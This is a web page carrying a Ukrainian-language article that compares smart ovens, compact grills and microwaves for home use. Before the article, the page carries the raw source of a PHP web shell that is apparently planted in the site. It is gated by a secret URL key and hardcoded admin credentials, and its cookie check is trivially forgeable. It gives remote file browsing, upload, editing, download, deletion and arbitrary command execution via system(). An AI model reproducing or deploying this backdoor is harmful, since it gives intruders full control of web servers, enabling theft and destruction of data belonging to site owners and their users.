if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Розумна духовка чи мікрохвилька який девайс обрати для дому – collectives.berlin

Your digital paradise.

Розумна духовка чи мікрохвилька який девайс обрати для дому

Якщо ви обираєте прилад для приготування їжі, https://digital-world.com.ua/ зосередьтеся на можливостях та функціональності. Вибір між сучасним пристроєм для випікання та компактним грилем залежить від ваших потреб у кухні.

Переваги сучасного пристрою для випікання

  • Багатофункціональність: Зазвичай такі прилади можуть запікати, грилювати, готувати на пару та навіть розігрівати страви.
  • Енергозбереження: Вони споживають менше енергії порівняно з традиційними варіантами.
  • Сенсорне управління: Багато моделей мають інтуїтивно зрозуміле управління через сенсорні екрани.
  • Автоматизовані програми: Вам не потрібно постійно контролювати процес приготування – достатньо вибрати режим і час.

Переваги компактного гриля

  • Швидкість приготування: Завдяки потужності грилю, їжу можна приготувати за лічені хвилини.
  • Компактність: Займає менше місця на кухні, що важливо для маленьких приміщень.
  • Легкість у використанні: Просте управління – вмикаєте та готуєте без зайвих налаштувань.
  • Мобільність: Легко переносити та використовувати в різних місцях, навіть на відкритому повітрі.

Порівняння характеристик

Ось кілька ключових чинників, які можуть вплинути на вибір:

  1. Вартість: Сучасні вироби можуть бути дорожчими, але їх функціональність часто виправдовує цю інвестицію.
  2. Витрати електроенергії: Гриль зазвичай споживає більше, якщо його використовувати протягом тривалого часу.
  3. Смак: Багато людей вважають, що приготування в духовці забезпечує кращу текстуру та аромат.

Заключні рекомендації

На основі ваших переваг, якщо ви любите експериментувати з рецептами та хочете більше можливостей, вибирайте сучасний пристрій для випікання. Якщо ваше головне завдання – швидкість і простота, компактний гриль стане відмінним вибором.

Розумна піч чи мікрохвильова: що вибрати

Якщо ваша мета – отримати універсальний пристрій для готування, віддайте перевагу першій опції. Такі моделі пропонують широкий спектр функцій: від запікання до грилювання. Вони забезпечують майже такий же рівень контролю, як звичайні прилади, і здатні обробляти їжу з різними методами приготування.

У разі обмеженого простору або потреби в швидкому розігріванні, мікрохвильовка справляється із завданням меншою ціною та компактністю. Цей варіант ідеально підійде для осіб, які не планують експериментувати з кулінарією та просто хочуть швидко розігріти страви. Навіть базові моделі прекрасно виконують цю функцію, завдяки чому стають популярними серед користувачів.

Також враховуйте енергоспоживання. Перший тип споживає більше електрики, але дозволяє приготувати більше їжі за один раз. Водночас мікрохвильова є економічнішою Alternative, якщо ваша мета – швидка обробка невеликих порцій. У багатьох випадках вартість експлуатації і її ефективність відіграє важливу роль у виборі.

Не забувайте про очищення. Моделі другого класу зазвичай легші в догляді, оскільки вони менше бруднять поверхні. Однак, якщо вас цікавить можливість готувати здорову їжу без додаткових олій або жирів, то варіант з мультифункціональністю оптимальний. Вибір залежить від ваших пріоритетів та стилю життя.

Leave a Reply

Your email address will not be published. Required fields are marked *